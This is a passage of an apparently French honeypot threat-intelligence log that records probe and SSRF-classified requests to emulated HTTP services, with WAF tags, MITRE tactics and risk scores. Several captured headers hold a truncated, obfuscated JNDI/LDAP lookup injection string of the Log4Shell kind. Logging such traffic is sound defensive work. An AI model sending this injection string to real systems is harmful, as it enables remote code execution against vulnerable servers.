"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-",
"method": "GET",
"path": "\/",
"user_agent": "${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-:}${ldp0:3:71:-l}${2:rs:-d}${ipv:-a}${a4:ckgb:-p}${907:extp:fdv:-:}${fj7x:dt:a36n:-\/}${uh46:dxhn:w7im:-\/}${o:-U}${h0:-A}${6s9:o:-l}${aisr:w:ncz:-0}${ul4n:-c}${yt0l:wglh:--}${${rfs:s:9:-s}${k:\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-:}${ldp0:3:71:-l}${2:rs:-d}${ipv:-a}${a4:ckgb:-p}${907:extp:fdv:-:}${fj7x:dt:a36n:-\/}${uh46:dxhn:w7im:-\/}${o:-U}${h0:-A}${6s9:o:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-:}${ldp0:3:71:-l}${2:rs:-d}${ipv:-a}${a4:ckgb:-p}${907:extp:fdv:-:}${fj7x:dt:a36n:-\/}${uh46:dxhn:w7im:-\/}${o:-U}${h0:-A}${6s9:o:-l}${aisr:w:ncz:-0}${ul4n:-c}${yt0l:wglh:--}${${rfs:s:9:-s}${k:\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-:}${ldp0:3:71:-l}${2:rs:-d}${ipv:-a}${a4:ckgb:-p}${907:extp:fdv:-:}${fj7x:dt:a36n:-\/}${uh46:dxhn:w7im:-\/}${o:-U}${h0:-A}${6s9:o:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2a22594d8a63a933331f0e97e5644b6e2c9fcb5f",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-:}${ldp0:3:71:-l}${2:rs:-d}${ipv:-a}${a4:ckgb:-p}${907:\u2026",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-",
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe)",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 48\/100",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 48,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 48,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-:}${ldp0:3:71:-l}${2:rs:-d}${ipv:-a}${a4:ckgb:-p}${907:\u2026",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: ${${0:n6f:-j}${r:af7:-n}${87m:pv:h5vw:-d}${bh:2:-i}${nea:bw:h0:-",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:24 UTC
TCP
3000 · HTTP
Sonde port 3000/TCP
port 3000 tcp · via HTTP:3000 · (sonde / probe)
Élevée
Moyen · 62
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
23
Recommandation
Investiguer
Tags
950326:rce-0
950382:rce-14
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
3000
Chemin / cible
/
Preuve honeypot — Sonde port 3000/TCP
Connexion détectée sur le port 3000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_3000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 62
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
rce-14
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:3000
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:3000 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${7y:ls:xvui:-j}${34:w3ni:lvpq:-n}${46:je:5xd:-d}${wk:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"http_header_count": 6,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "46f5955a67387b75de712e640b0687c888a438e5",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.902127029824672,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.6,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 62,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "948b0c24e4f6b3f8992b1723c339ffd7b05e450f",
"event_fingerprint": "e7196c7bf474f4f41293d75c8d708c52870b6a0b",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 62,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "7c087950be1dc5f00fe7f75b853a4457",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 3000,
"service": "http",
"service_name": "http",
"risk_score": 62
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${7y:ls:xvui:-j}${34:w3ni:lvpq:-n}${46:je:5xd:-d}${wk:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"rce-14",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${7y:ls:xvui:-j}${34:w3ni:lvpq:-n}${46:je:5xd:-d}${wk:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "229c25fad1dcb005824901aefbc706954a1ff390",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe)",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 62\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 62,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 62,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950382:rce-14",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:33:44 UTC
TCP
9002 · HTTP
SSRF interne
ssrf internal · via HTTP:9002 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9002
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:9002
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:9002 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "9eb77341d923bf850a12632119cec98177710a79",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.342173125346832,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9002,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.3,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "b2138e8bb7e7effc3d47f91d2e62435031fe09fd",
"event_fingerprint": "12927f3bbb81addf7004b551b9c03b92c209bed3",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "8def7c200a4f777b9842f13c816f2326",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 9002,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "571ec288c616f481ace400d6436402cac132690d",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9002,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:9002\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:9002 \u00b7 (tentative d'exploit)",
"target_port_label": "9002 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
